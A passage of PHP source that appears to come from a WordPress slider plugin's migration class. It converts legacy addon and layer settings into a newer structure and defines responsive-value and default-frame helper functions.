'autoplay' => array( 'enable' => $this->_truefalse($_->get_param('panorama_autoplay', false)), 'direction' => $_->get_param('panorama_direction', 'forward'), 'speed' => $_->get_param('panorama_speed', 100), ), 'interaction' => array( 'controls' => $_->get_param('panorama_controls', 'throw'), 'speed' => $_->get_param('panorama_throw_speed', 750), ), 'zoom' => array( 'enable' => $this->_truefalse($_->get_param('panorama_mousewheel_zoom', false)), 'smooth' => $this->_truefalse($_->get_param('panorama_smooth_zoom', true)), 'min' => $_->get_param('panorama_zoom_min', 75), 'max' => $_->get_param('panorama_zoom_max', 150), ), 'camera' => array( 'fov' => $_->get_param('panorama_camera_fov', 75), 'far' => $_->get_param('panorama_camera_far', 1000), ), 'sphere' => array( 'radius' => $_->get_param('panorama_sphere_radius', 100), 'wsegments' => $_->get_param('panorama_sphere_wsegments', 100), 'hsegments' => $_->get_param('panorama_sphere_hsegments', 40), ), ); } // PAINTBRUSH if($_->get_param('paintbrush_enabled', false) !== false){ $obj['revslider-paintbrush-addon'] = array( 'enable' => $this->_truefalse($_->get_param('paintbrush_enabled', false)), 'image' => array( 'source' => $_->get_param('paintbrush_source', 'local'), 'custom' => $_->get_param('paintbrush_img', ''), 'blur' => array( 'enable' => $this->_truefalse($_->get_param('paintbrush_blur', false)), 'amount' => $_->get_param('paintbrush_bluramount', 10), 'responsive' => $this->_truefalse($_->get_param('paintbrush_scaleblur', false)), 'fixedges' => array( 'enable' => $this->_truefalse($_->get_param('paintbrush_fixedges', false)), 'amount' => $_->get_param('paintbrush_edgeamount', 10), ), ), ), 'brush' => array( 'style' => $_->get_param('paintbrush_style', 'round'), 'size' => $_->get_param('paintbrush_size', 80), 'responsive' => $this->_truefalse($_->get_param('paintbrush_responsive', false)), 'disappear' => array( 'enable' => $this->_truefalse($_->get_param('paintbrush_disappear', false)), 'time' => $_->get_param('paintbrush_fadetime', 1000), ), ), 'mobile' => array( 'disable' => $this->_truefalse($_->get_param('paintbrush_mobile', false)), 'fallback' => $this->_truefalse($_->get_param('paintbrush_fallback', false)), ), ); $obj['revslider-paintbrush-addon']['image']['blur']['amount'] = intval($obj['revslider-paintbrush-addon']['image']['blur']['amount']); if($obj['revslider-paintbrush-addon']['image']['blur']['amount'] < 1){ $obj['revslider-paintbrush-addon']['image']['blur']['amount'] = 1; } if($obj['revslider-paintbrush-addon']['image']['blur']['amount'] > 100){ $obj['revslider-paintbrush-addon']['image']['blur']['amount'] = 100; } $obj['revslider-paintbrush-addon']['image']['blur']['fixedges']['amount'] = intval($obj['revslider-paintbrush-addon']['image']['blur']['fixedges']['amount']); if($obj['revslider-paintbrush-addon']['image']['blur']['fixedges']['amount'] < 0){ $obj['revslider-paintbrush-addon']['image']['blur']['fixedges']['amount'] = 0; } if($obj['revslider-paintbrush-addon']['image']['blur']['fixedges']['amount'] > 100){ $obj['revslider-paintbrush-addon']['image']['blur']['fixedges']['amount'] = 100; } $obj['revslider-paintbrush-addon']['brush']['size'] = intval($obj['revslider-paintbrush-addon']['brush']['size']); if($obj['revslider-paintbrush-addon']['brush']['size'] < 5){ $obj['revslider-paintbrush-addon']['brush']['size'] = 5; } if($obj['revslider-paintbrush-addon']['brush']['size'] > 500){ $obj['revslider-paintbrush-addon']['brush']['size'] = 500; } $obj['revslider-paintbrush-addon']['brush']['disappear']['time'] = intval($obj['revslider-paintbrush-addon']['brush']['disappear']['time']); if($obj['revslider-paintbrush-addon']['brush']['disappear']['time'] < 100){ $obj['revslider-paintbrush-addon']['brush']['disappear']['time'] = 100; } if($obj['revslider-paintbrush-addon']['brush']['disappear']['time'] > 10000){ $obj['revslider-paintbrush-addon']['brush']['disappear']['time'] = 10000; } } // DISTORTION if($_->get_param('liquideffect_enabled', false) !== false){ $obj['revslider-liquideffect-addon'] = array( 'enable' => $this->_truefalse($_->get_param('liquideffect_enabled', false)), 'map' => array( 'image' => $_->get_param('liquideffect_image', 'Ripple'), 'custom' => $_->get_param('liquideffect_custommap', ''), 'size' => $_->get_param('liquideffect_size', 'Large'), ), 'animation' => array( 'enable' => $this->_truefalse($_->get_param('liquideffect_autoplay', true)), 'speedx' => $_->get_param('liquideffect_speedx', 2), 'speedy' => $_->get_param('liquideffect_speedy', 20), 'rotation' => $_->get_param('liquideffect_rotation', 0), 'rotationx' => $_->get_param('liquideffect_rotationx', 20), 'rotationy' => $_->get_param('liquideffect_rotationy', 0), 'scalex' => $_->get_param('liquideffect_scalex', 20), 'scaley' => $_->get_param('liquideffect_scaley', 20), ), 'transition' => array( 'enable' => $this->_truefalse($_->get_param('liquideffect_transition', true)), 'cross' => $this->_truefalse($_->get_param('liquideffect_transcross', true)), 'duration' => $_->get_param('liquideffect_transtime', 1000), 'easing' => $_->get_param('liquideffect_easing', 'power3.out'), 'speedx' => $_->get_param('liquideffect_transpeedx', 2), 'speedy' => $_->get_param('liquideffect_transpeedy', 100), 'rotation' => $_->get_param('liquideffect_transrot', 0), 'rotationx' => $_->get_param('liquideffect_transrotx', 20), 'rotationy' => $_->get_param('liquideffect_transroty', 0), 'scalex' => $_->get_param('liquideffect_transitionx', 2), 'scaley' => $_->get_param('liquideffect_transitiony', 1280), 'power' => $this->_truefalse($_->get_param('liquideffect_transpower', false)), ), 'interaction' => array( 'enable' => $this->_truefalse($_->get_param('liquideffect_interactive', false)), 'event' => $_->get_param('liquideffect_event', 'mousemove'), 'duration' => $_->get_param('liquideffect_intertime', 500), 'easing' => $_->get_param('liquideffect_intereasing', 'power2.out'), 'speedx' => $_->get_param('liquideffect_interspeedx', 0), 'speedy' => $_->get_param('liquideffect_interspeedy', 0), 'rotation' => $_->get_param('liquideffect_interotation', 0), 'scalex' => $_->get_param('liquideffect_interscalex', 2), 'scaley' => $_->get_param('liquideffect_interscaley', 1280), 'disablemobile' => $this->_truefalse($_->get_param('liquideffect_mobile', false)), ), ); } // DUOTONE if($_->get_param('duotonefilter_addon', false) !== false){ $obj['revslider-duotonefilters-addon'] = array('filter' => $_->get_param('duotonefilter_addon', 'rs-duotone-none')); } // BEFOREAFTER if($_->get_param('beforeafter_enabled', false) !== false){ $globals = json_decode(str_replace('\\', '', $_->get_param('beforeafter_globals', array('moveto' => '30%|30%|30%|30%'))), true); $movetos = explode('|', $this->get_val($globals, 'moveto')); $obj['revslider-beforeafter-addon'] = array( 'enable' => $this->_truefalse($_->get_param('beforeafter_enabled', false)), 'direction' => $_->get_param('beforeafter_direction', 'horizontal'), 'delay' => $_->get_param('beforeafter_delay', 500), 'time' => $_->get_param('beforeafter_time', 750), 'easing' => $_->get_param('beforeafter_easing', 'power2.inOut'), 'animateOut' => $_->get_param('beforeafter_animateout', 'fade'), 'moveTo' => $this->c_to_resp(array('default' => 50, 'val' => array('desktop' => $this->get_val($movetos, 0), 'notebook' => $this->get_val($movetos, 1), 'tablet' => $this->get_val($movetos, 2), 'mobile' => $this->get_val($movetos, 3)))), 'teaser' => array( 'set' => $_->get_param('beforeafter_bouncearrows', 'none'), 'type' => $_->get_param('beforeafter_bouncetype', 'repel'), 'distance' => $_->get_param('beforeafter_bounceamount', 5), 'speed' => $_->get_param('beforeafter_bouncespeed', 1500), 'easing' => $_->get_param('beforeafter_bounceeasing', 'ease-in-out'), 'delay' => $_->get_param('beforeafter_bouncedelay', 0), ), 'shift' => array( 'set' => $this->_truefalse($_->get_param('beforeafter_shiftarrows', false)), 'offset' => $_->get_param('beforeafter_shiftoffset', 10), 'speed' => $_->get_param('beforeafter_shifttiming', 300), 'easing' => $_->get_param('beforeafter_shifteasing', 'ease'), 'delay' => $_->get_param('beforeafter_shiftdelay', 0), ), 'bg' => array( 'type' => $_->get_param('background_type_beforeafter', 'trans'), 'color' => $_->get_param('bg_color_beforeafter', '#e7e7e7'), 'externalSrc' => $_->get_param('bg_external_beforeafter', ''), 'fit' => $_->get_param('bg_fit_beforeafter', 'cover'), 'fitX' => $_->get_param('bg_fit_x_beforeafter', '100'), 'fitY' => $_->get_param('bg_fit_y_beforeafter', '100'), 'position' => $_->get_param('bg_position_beforeafter', 'center center'), 'positionX' => $_->get_param('bg_position_x_beforeafter', '0'), 'positionY' => $_->get_param('bg_position_y_beforeafter', '0'), 'repeat' => $_->get_param('bg_repeat_beforeafter', 'no-repeat'), 'image' => $_->get_param('image_url_beforeafter', ''), 'imageId' => $_->get_param('image_id_beforeafter', ''), 'imageSourceType' => $_->get_param('image_source_type_beforeafter', ''), 'mpeg' => $_->get_param('bg_mpeg_beforeafter', ''), 'vimeo' => $_->get_param('bg_vimeo_beforeafter', ''), 'youtube' => $_->get_param('bg_youtube_beforeafter', ''), 'width' => '', 'height' => '', 'video' => array( 'args' => $_->get_param('video_arguments_beforeafter', 'hd=1&wmode=opaque&showinfo=0&rel=0;'), 'argsVimeo' => $_->get_param('video_arguments_vim_beforeafter', 'title=0&byline=0&portrait=0&api=1'), 'dottedOverlay' => $_->get_param('video_dotted_overlay_beforeafter', 'none'), 'startAt' => $_->get_param('video_start_at_beforeafter', ''), 'endAt' => $_->get_param('video_end_at_beforeafter', ''), 'forceRewind' => $this->_truefalse($_->get_param('video_force_rewind_beforeafter', true)), 'loop' => $_->get_param('video_loop_beforeafter', 'none'), 'mute' => $this->_truefalse($_->get_param('video_mute_beforeafter', true)), 'nextSlideAtEnd' => $this->_truefalse($_->get_param('video_nextslide_beforeafter', false)), 'ratio' => $_->get_param('video_ratio_beforeafter', '16:9'), 'speed' => $_->get_param('video_speed_beforeafter', '1'), 'volume' => $_->get_param('video_volume_beforeafter', ''), ), 'videoId' => '', ), ); } //PARTICLE EFFECTS MIGRATION if($this->_truefalse($_s->get_param(array('addOns', 'revslider-particles-addon', 'enable'), false)) !== false){ $p_start_at = $_s->get_param(array('addOns', 'revslider-particles-addon', 'startSlide'), 'first'); $p_end_at = $_s->get_param(array('addOns', 'revslider-particles-addon', 'endSlide'), 'last'); $add_particles = false; if($p_start_at === 'first' && $p_end_at === 'last'){ $add_particles = true; }elseif($p_start_at === 'first' && intval($p_end_at) >= $slide_nr){ $add_particles = true; }elseif($p_end_at === 'last' && intval($p_start_at) <= $slide_nr){ $add_particles = true; }elseif(intval($p_start_at) <= $slide_nr && intval($p_end_at) >= $slide_nr){ $add_particles = true; } if($add_particles === true){ $obj['revslider-particles-addon'] = array( 'enable' => $this->_truefalse($_s->get_param(array('addOns', 'revslider-particles-addon', 'enable'), false)), 'hideOnMobile' => $this->_truefalse($_s->get_param(array('addOns', 'revslider-particles-addon', 'hideOnMobile'), false)), 'particles' => array( 'shape' => $_s->get_param(array('addOns', 'revslider-particles-addon', 'particles', 'shape'), 'circle'), 'number' => $_s->get_param(array('addOns', 'revslider-particles-addon', 'particles', 'number'), 80), 'size' => $_s->get_param(array('addOns', 'revslider-particles-addon', 'particles', 'size'), 6), 'sizeMin' => $_s->get_param(array('addOns', 'revslider-particles-addon', 'particles', 'sizeMin'), 1), 'random' => $this->_truefalse($_s->get_param(array('addOns', 'revslider-particles-addon', 'particles', 'random'), true)) ), 'styles' => array( 'border' => array( 'enable' => $this->_truefalse($_s->get_param(array('addOns', 'revslider-particles-addon', 'styles', 'border', 'enable'), false)), 'color' => $_s->get_param(array('addOns', 'revslider-particles-addon', 'styles', 'border', 'color'), '#ffffff'), 'opacity' => $_s->get_param(array('addOns', 'revslider-particles-addon', 'styles', 'border', 'opacity'), 100), 'size' => $_s->get_param(array('addOns', 'revslider-particles-addon', 'styles', 'border', 'size'), 1) ), 'lines' => array( 'enable' => $this->_truefalse($_s->get_param(array('addOns', 'revslider-particles-addon', 'styles', 'lines', 'enable'), false)), 'color' => $_s->get_param(array('addOns', 'revslider-particles-addon', 'styles', 'lines', 'color'), '#ffffff'), 'width' => $_s->get_param(array('addOns', 'revslider-particles-addon', 'styles', 'lines', 'width'), 1), 'opacity' => $_s->get_param(array('addOns', 'revslider-particles-addon', 'styles', 'lines', 'opacity'), 100), 'distance' => $_s->get_param(array('addOns', 'revslider-particles-addon', 'styles', 'lines', 'distance'), 150) ), 'particle' => array( 'color' => $_s->get_param(array('addOns', 'revslider-particles-addon', 'styles', 'particle', 'color'), '#ffffff'), 'opacity' => $_s->get_param(array('addOns', 'revslider-particles-addon', 'styles', 'particle', 'opacity'), 100), 'opacityMin' => $_s->get_param(array('addOns', 'revslider-particles-addon', 'styles', 'particle', 'opacityMin'), 25), 'opacityRandom' => $this->_truefalse($_s->get_param(array('addOns', 'revslider-particles-addon', 'styles', 'particle', 'opacityRandom'), false)), 'zIndex' => $_s->get_param(array('addOns', 'revslider-particles-addon', 'styles', 'particle', 'zIndex'), 'default') ) ), 'movement' => array( 'enable' => $this->_truefalse($_s->get_param(array('addOns', 'revslider-particles-addon', 'movement', 'enable'), true)), 'randomSpeed' => $this->_truefalse($_s->get_param(array('addOns', 'revslider-particles-addon', 'movement', 'randomSpeed'), true)), 'speed' => $_s->get_param(array('addOns', 'revslider-particles-addon', 'movement', 'speed'), 1), 'speedMin' => $_s->get_param(array('addOns', 'revslider-particles-addon', 'movement', 'speedMin'), 1), 'direction' => $_s->get_param(array('addOns', 'revslider-particles-addon', 'movement', 'direction'), 'none'), 'straight' => $this->_truefalse($_s->get_param(array('addOns', 'revslider-particles-addon', 'movement', 'straight'), true)), 'bounce' => $this->_truefalse($_s->get_param(array('addOns', 'revslider-particles-addon', 'movement', 'bounce'), false)) ), 'interactivity' => array( 'hoverMode' => ($this->_truefalse($_s->get_param(array('addOns', 'revslider-particles-addon', 'interactivity', 'hoverMode')))) ? $_s->get_param(array('addOns', 'revslider-particles-addon', 'interactivity', 'hoverMode'), 'repulse') : 'none', 'clickMode' => ($this->_truefalse($_s->get_param(array('addOns', 'revslider-particles-addon', 'interactivity', 'clickMode')))) ? $_s->get_param(array('addOns', 'revslider-particles-addon', 'interactivity', 'clickMode'), 'repulse') : 'none' ), 'bubble' => array( 'distance' => $_s->get_param(array('addOns', 'revslider-particles-addon', 'bubble', 'distance'), 400), 'size' => $_s->get_param(array('addOns', 'revslider-particles-addon', 'bubble', 'size'), 40), 'opacity' => $_s->get_param(array('addOns', 'revslider-particles-addon', 'bubble', 'opacity'), 40) ), 'grab' => array( 'distance' => $_s->get_param(array('addOns', 'revslider-particles-addon', 'grab', 'distance'), 400), 'opacity' => $_s->get_param(array('addOns', 'revslider-particles-addon', 'grab', 'opacity'), 50) ), 'repulse' => array( 'distance' => $_s->get_param(array('addOns', 'revslider-particles-addon', 'repulse', 'distance'), 200), 'easing' => 100 /* new option */ ), 'pulse' => array( 'size' => array( 'enable' => $this->_truefalse($_s->get_param(array('addOns', 'revslider-particles-addon', 'pulse', 'size', 'enable'), false)), 'speed' => $_s->get_param(array('addOns', 'revslider-particles-addon', 'pulse', 'size', 'speed'), 40), 'min' => $_s->get_param(array('addOns', 'revslider-particles-addon', 'pulse', 'size', 'min'), 1), 'sync' => $this->_truefalse($_s->get_param(array('addOns', 'revslider-particles-addon', 'pulse', 'size', 'sync'), false)) ), 'opacity' => array( 'enable' => $this->_truefalse($_s->get_param(array('addOns', 'revslider-particles-addon', 'pulse', 'opacity', 'enable'), false)), 'speed' => $_s->get_param(array('addOns', 'revslider-particles-addon', 'pulse', 'opacity', 'speed'), 3), 'min' => $_s->get_param(array('addOns', 'revslider-particles-addon', 'pulse', 'opacity', 'min'), 1), 'sync' => $this->_truefalse($_s->get_param(array('addOns', 'revslider-particles-addon', 'pulse', 'opacity', 'sync'), false)) ) ) ); } } return $obj; } /** * Migrate the Slider AddOns that were existing prior to version 6.0 * @since: 6.0 **/ public function migrate_layer_AddOn(&$_, $slide){ $obj = array(); //EXPLODING LAYERS SEE IN SUBMIGRATION ROUTINE !!!! //WHITEBOARD MIGRATION if($this->get_val($_, 'whiteboard', false) !== false){ $wbenabled = $this->get_val($_, array('whiteboard', 'hand_function')); $obj['revslider-whiteboard-addon'] = array( 'enable' => $wbenabled !== 'off' ? true : false, 'hand' => array( 'angle' => $this->get_val($_, array('whiteboard', 'hand_angle')), 'angleRepeat' => $this->get_val($_, array('whiteboard', 'hand_angle_repeat')), 'direction' => $this->get_val($_, array('whiteboard', 'hand_direction')), 'rotation' => $this->get_val($_, array('whiteboard', 'hand_full_rotation')), 'rotationAngle' => $this->get_val($_, array('whiteboard', 'hand_full_rotation_angle')), 'mode' => $this->get_val($_, array('whiteboard', 'hand_function')), 'gotoLayer' => $this->get_val($_, array('whiteboard', 'hand_gotolayer')), 'type' => $this->get_val($_, array('whiteboard', 'hand_type')), 'x' => $this->get_val($_, array('whiteboard', 'hand_x_offset')), 'y' => $this->get_val($_, array('whiteboard', 'hand_y_offset')), ), 'jitter' => array( 'distance' => $this->get_val($_, array('whiteboard', 'jitter_distance')), 'distanceHorizontal' => $this->get_val($_, array('whiteboard', 'jitter_distance_horizontal')), 'offset' => $this->get_val($_, array('whiteboard', 'jitter_offset')), 'offsetHorizontal' => $this->get_val($_, array('whiteboard', 'jitter_offset_horizontal')), 'repeat' => $this->get_val($_, array('whiteboard', 'jitter_repeat')), ), ); } //TYPEWRITER MIGRATION if($this->get_val($_, 'typewriter', false) !== false){ $obj['revslider-typewriter-addon'] = array( 'enable' => $this->_truefalse($this->get_val($_, array('typewriter', 'enabled'))), 'blinking_speed' => $this->get_val($_, array('typewriter', 'blinking_speed')), 'cursor_type' => $this->get_val($_, array('typewriter', 'cursor_type')), 'blinking' => $this->_truefalse($this->get_val($_, array('typewriter', 'blinking'))), 'delays' => $this->get_val($_, array('typewriter', 'delays')), 'deletion_delay' => $this->get_val($_, array('typewriter', 'deletion_delay')), 'deletion_speed' => $this->get_val($_, array('typewriter', 'deletion_speed')), 'hide_cursor' => $this->_truefalse($this->get_val($_, array('typewriter', 'hide_cursor'))), 'linebreak_delay' => $this->get_val($_, array('typewriter', 'linebreak_delay')), 'lines' => $this->get_val($_, array('typewriter', 'lines')), 'looped' => $this->_truefalse($this->get_val($_, array('typewriter', 'looped'))), 'newline_delay' => $this->get_val($_, array('typewriter', 'newline_delay')), 'sequenced' => $this->_truefalse($this->get_val($_, array('typewriter', 'sequenced'))), 'speed' => $this->get_val($_, array('typewriter', 'speed')), 'start_delay' => $this->get_val($_, array('typewriter', 'start_delay')), 'word_delay' => $this->get_val($_, array('typewriter', 'word_delay')), ); } //BEFORE AFTER MIGRATION if($this->get_val($_, 'beforeafter', false) !== false){ $obj['revslider-beforeafter-addon'] = array( 'position' => $this->get_val($_, array('beforeafter', 'position'), 'before'), ); } // WEATHER ADDON MIGRATION $layer_text = $this->get_val($_, 'text', 'New layer'); if(strpos($layer_text, '{{weather_') !== false || strpos($layer_text, '%weather_') !== false){ $params = $slide->get_params(); $addons = $this->get_val($params, 'addOns', array()); $weather = $this->get_val($addons, 'revslider-weather-addon', array()); // push the Slide's "weather location" onto the Layer $obj['revslider-weather-addon'] = array( 'location' => $this->get_val($weather, 'location', 'Cologne'), 'unit' => $this->get_val($weather, 'unit', 'c') ); // replace %weather_wildcard% with {{weather_wildcard}} if(strpos($layer_text, '%weather_') !== false){ $layer_text = preg_replace_callback( '/%weather.*?%/', array($this, 'preg_replace_callback_addon'), $layer_text ); $this->set_val($_, 'text', $layer_text); } } //SLICEY LAYER SETTINGS if($this->get_val($_, 'type') === 'shape' && $this->get_val($_, 'subtype') === 'slicey'){ $obj['revslider-slicey-addon'] = array( 'scaleOffset' => $this->get_val($_, array('slicey', 'scale_offset'), 20), 'blurStart' => $this->get_val($_, array('slicey', 'blurlstart'), 'inherit'), 'blurEnd' => $this->get_val($_, array('slicey', 'blurlend'), 'inherit'), ); } //BUBBLEMORPH LAYER SETTINGS if($this->get_val($_, 'type') === 'shape' && $this->get_val($_, 'subtype') === 'bubblemorph'){ // incoming structure could be a single value or an Array, and value could also be "inherit" $bubbleObj = array(); $bubbleDefaults = array( 'max' => 6, 'speedx' => 0.25, 'speedy' => 1, 'bufferx' => 0, 'buffery' => 0, 'blurstrength' => 0, 'blurcolor' => 'rgba(0, 0, 0, 0.35)', 'blurx' => 0, 'blury' => 0, 'bordersize' => 0, 'bordercolor' => '#000000', ); // need to sanitize as incoming value could be either a single value or an Array $bubblemorph = $this->get_val($_, 'bubblemorph'); foreach($bubblemorph as $prop => $bubbleVal){ // make sure value is an Array if(!is_array($bubbleVal)){ $bubbleVal = array($bubbleVal, $bubbleVal, $bubbleVal, $bubbleVal); } // make sure Array length is 4 while (count($bubbleVal) < 4){ $bubbleVal[count($bubbleVal)] = $bubbleVal[count($bubbleVal) - 1]; } // convert possible 'inherit' values foreach($bubbleVal as $bk => $bv){ if($bv == 'inherit'){ $bubbleVal[$bk] = $bubbleDefaults[$prop]; } } // write new values to be passed into the cToResp function $bubbleObj[$prop] = array('desktop' => $this->get_val($bubbleVal, 0), 'notebook' => $this->get_val($bubbleVal, 1), 'tablet' => $this->get_val($bubbleVal, 2), 'mobile' => $this->get_val($bubbleVal, 3)); } $obj['revslider-bubblemorph-addon'] = array( 'settings' => array( 'maxmorphs' => $this->c_to_resp(array('default' => $bubbleDefaults['max'], 'val' => $this->get_val($bubbleObj, 'max'))), 'speedx' => $this->c_to_resp(array('default' => $bubbleDefaults['speedx'], 'val' => $this->get_val($bubbleObj, 'speedx'))), 'speedy' => $this->c_to_resp(array('default' => $bubbleDefaults['speedy'], 'val' => $this->get_val($bubbleObj, 'speedy'))), 'bufferx' => $this->c_to_resp(array('default' => $bubbleDefaults['bufferx'], 'val' => $this->get_val($bubbleObj, 'bufferx'))), 'buffery' => $this->c_to_resp(array('default' => $bubbleDefaults['buffery'], 'val' => $this->get_val($bubbleObj, 'buffery'))), ), 'shadow' => array( 'strength' => $this->c_to_resp(array('default' => $bubbleDefaults['blurstrength'], 'val' => $this->get_val($bubbleObj, 'blurstrength'))), 'color' => $this->c_to_resp(array('default' => $bubbleDefaults['blurcolor'], 'val' => $this->get_val($bubbleObj, 'blurcolor'))), 'offsetx' => $this->c_to_resp(array('default' => $bubbleDefaults['blurx'], 'val' => $this->get_val($bubbleObj, 'blurx'))), 'offsety' => $this->c_to_resp(array('default' => $bubbleDefaults['blury'], 'val' => $this->get_val($bubbleObj, 'blury'))), ), 'border' => array( 'size' => $this->c_to_resp(array('default' => $bubbleDefaults['bordersize'], 'val' => $this->get_val($bubbleObj, 'bordersize'))), 'color' => $this->c_to_resp(array('default' => $bubbleDefaults['bordercolor'], 'val' => $this->get_val($bubbleObj, 'bordercolor'))), ), ); } return $obj; } /** * needed for the addons **/ public function preg_replace_callback_addon($matches){ return '{{' . str_replace('%', '', $matches[0]) . '}}'; } /* CREATE A 4 LEVEL OBJECT STRUCTURE (DESKTOP, NOTEBOOK, TABLET, MOBILE) WITH DEFAULT OR PREDEFINED VALUES VALUE, EDITED (true/false), UNIT (PX, %, EM...) * @before: RevSliderPluginUpdate::cToResp(); */ public function c_to_resp($attr = array('default' => 0, 'unit' => '')){ $newObj = array(); $unit = $this->get_val($attr, 'unit', ''); $v = $this->get_val($attr, 'default', 0); foreach($this->_respsizes as $i => $rv){ $s = $this->_respsizes[$i]; $sold = $this->_respsizesold[$i]; $val = $this->get_val($attr, 'val', false); /** * first we check if the old value exists **/ if(isset($val[$sold])){ /** * take it as it is **/ $v = $this->get_val($val, $sold, false); }else{ /** * does not exist * 1. check if any of the four values exist **/ $is_dntm = (is_array($val) && (isset($val['desktop']) || isset($val['notebook']) || isset($val['tablet']) || isset($val['mobile']))) ? true : false; if(is_array($val) && $is_dntm === false){ // || is_object($val) /** * 2. check if we are an array but not the 4 sizes * - if this is the case, take the array as it is! **/ $v = $val; //(array) }elseif(!is_object($val) && !is_array($val) && $val !== false){ /** * 3. check if we are just a value * - if this is the case, just take the value **/ $v = $val; }elseif((!is_object($val) && !is_array($val)) || $this->get_val($val, $sold, false) === false){ // $val !== false || || $this->get_val($val, $sold, false) === null /** * 4. check if not array and object, also if old value not exist * - push the default, wich is until here still in $v **/ $v = $v; }else{ /** * 5. as none of these fit, take the $sold value out of $val **/ $v = $this->get_val($val, $sold, false); } } /** * check if the new value is an array or not **/ if(is_array($v) || is_object($v)){ $newObj[$s] = array('v' => $v, 'e' => false); if($attr !== false && $val !== false && $this->get_val($val, $sold, false) !== false){ $newObj[$s]['e'] = true; } /** * add the corresponding units to all values in the array if needed **/ foreach($v as $vi => $vval){ if(strlen($unit) > 0 && $v[$vi] != 'auto' && $v[$vi] != 'none'){ $newObj[$s]['v'][$vi] = intval($v[$vi]) . $unit; }else{ $newObj[$s]['v'][$vi] = $v[$vi]; } if($unit == '' && !is_numeric($newObj[$s]['v'][$vi])){ if(strpos($newObj[$s]['v'][$vi], '%') !== false){ $newObj[$s]['v'][$vi] = intval($newObj[$s][$vi]) .'%'; }elseif(strpos($newObj[$s]['v'][$vi], 'px') !== false){ $newObj[$s]['v'][$vi] = intval($newObj[$s]['v'][$vi]) .'px'; } } } }else{ /** * add the corresponding units to the value if needed **/ if(strlen($unit) > 0){ if($v !== 'auto' && $v !== 'none' && $v !== ''){ $nv = intval($v) . $unit; }else{ $nv = $v; } }else{ $nv = $v; } $newObj[$s] = array('v' => $nv, 'e' => false, 'u' => $unit); if($this->get_val($val, $sold, false) !== false){ $newObj[$s]['e'] = true; } if($newObj[$s]['v'] === '' && $this->get_val($attr, 'default', '') !== ''){ $newObj[$s]['v'] = $this->get_val($attr, 'default'); } if(is_array($newObj[$s]['v']) || is_object($newObj[$s]['v'])){ foreach($newObj[$s]['v'] as $nok => $nov){ if($unit == '' && !is_numeric($nov) && $nov !== false && $nov !== true){ if(strpos($nov, '%') !== false){ if(is_object($newObj[$s]['v'])){ $newObj[$s]['v']->$nok = intval($nov) .'%'; }else{ $newObj[$s]['v'][$nok] = intval($nov) .'%'; } }elseif(strpos($nov, 'px') !== false){ if(is_object($newObj[$s]['v'])){ $newObj[$s]['v']->$nok = intval($nov) .'px'; }else{ $newObj[$s]['v'][$nok] = intval($nov) .'px'; } } } } }else{ if($unit == '' && !is_numeric($newObj[$s]['v']) && $newObj[$s]['v'] !== false && $newObj[$s]['v'] !== true){ if(strpos($newObj[$s]['v'], '%') !== false){ $newObj[$s]['v'] = intval($newObj[$s]['v']) .'%'; }elseif(strpos($newObj[$s]['v'], 'px') !== false){ $newObj[$s]['v'] = intval($newObj[$s]['v']) .'px'; } } } } } return $newObj; } //Make Array of Single Elements was makeArray() public function make_array($a, $len){ if(!is_array($a)){ $_ = array(); for ($i = 0; $i < $len; $i++){ $_[] = $a; } $a = $_; } return $a; } /** * CREATE A DEFAULT FRAME OBJECT * @before: RevSliderPluginUpdate::defaultFrame() **/ public function default_frame($o = array(), $overwrite_with = array()){ $f = $this->get_val($o, 'fid', 'frame_0'); $_base = array( 'grayscale' => array('frame_0' => 0, 'frame_1' => 0, 'frame_999' => 'inherit'), //0 'brightness' => array('frame_0' => 100, 'frame_1' => 100, 'frame_999' => 'inherit'), //100 'blur' => array('frame_0' => 0, 'frame_1' => 0, 'frame_999' => 'inherit'), //100 'transformPerspective' => array('frame_0' => 600, 'frame_1' => 600, 'frame_999' => 600), //transform 'x' => array('frame_0' => 0, 'frame_1' => 0, 'frame_999' => 'inherit'), //0 'y' => array('frame_0' => 0, 'frame_1' => 0, 'frame_999' => 'inherit'), //0 'z' => array('frame_0' => 0, 'frame_1' => 0, 'frame_999' => 'inherit'), //0 'scaleX' => array('frame_0' => 1, 'frame_1' => 1, 'frame_999' => 'inherit'), //0 'scaleY' => array('frame_0' => 1, 'frame_1' => 1, 'frame_999' => 'inherit'), //0 'opacity' => array('frame_0' => 0, 'frame_1' => 1, 'frame_999' => 'inherit'), //1 'rotationX' => array('frame_0' => 0, 'frame_1' => 0, 'frame_999' => 'inherit'), //0 'rotationY' => array('frame_0' => 0, 'frame_1' => 0, 'frame_999' => 'inherit'), //0 'rotationZ' => array('frame_0' => 0, 'frame_1' => 0, 'frame_999' => 'inherit'), //0 'skewX' => array('frame_0' => 0, 'frame_1' => 0, 'frame_999' => 'inherit'), //0 'skewY' => array('frame_0' => 0, 'frame_1' => 0, 'frame_999' => 'inherit'), //0 'originX' => array('frame_0' => '50%', 'frame_1' => '50%', 'frame_999' => 'inherit'), //'50%' 'originY' => array('frame_0' => '50%', 'frame_1' => '50%', 'frame_999' => 'inherit'), //'50%' 'originZ' => array('frame_0' => 0, 'frame_1' => 0, 'frame_999' => 'inherit'), //'0' //timeline 'ease' => array('frame_0' => false, 'frame_999' => 'power3.inOut'), //'power3.inOut' 'start' => array('frame_0' => false, 'frame_1' => 10, 'frame_999' => true), //0 'speed' => array('frame_0' => false, 'frame_999' => 300) //300 ); $_split = array( 'ease' => array('frame_0' => false, 'frame_999' => 'inherit'), 'direction' => array('frame_0' => false, 'frame_999' => 'forward'), //'forward' 'delay' => array('frame_0' => false, 'frame_999' => 5), //5 'x' => array('frame_0' => 0, 'frame_1' => 0, 'frame_999' => 'inherit'), 'y' => array('frame_0' => 0, 'frame_1' => 0, 'frame_999' => 'inherit'), 'z' => array('frame_0' => 0, 'frame_1' => 0, 'frame_999' => 'inherit'), 'scaleX' => array('frame_0' => 1, 'frame_1' => 1, 'frame_999' => 'inherit'), 'scaleY' => array('frame_0' => 1, 'frame_1' => 1, 'frame_999' => 'inherit'), 'rotationX' => array('frame_0' => 1, 'frame_1' => 1, 'frame_999' => 'inherit'), 'rotationY' => array('frame_0' => 1, 'frame_1' => 1, 'frame_999' => 'inherit'), 'rotationZ' => array('frame_0' => 1, 'frame_1' => 1, 'frame_999' => 'inherit'), 'skewX' => array('frame_0' => 0, 'frame_1' => 0, 'frame_999' => 'inherit'), 'skewY' => array('frame_0' => 0, 'frame_1' => 0, 'frame_999' => 'inherit'), 'originX' => array('frame_0' => '50%', 'frame_1' => '50%', 'frame_999' => 'inherit'), //'50%' 'originY' => array('frame_0' => '50%', 'frame_1' => '50%', 'frame_999' => 'inherit'), //'50%' 'originZ' => 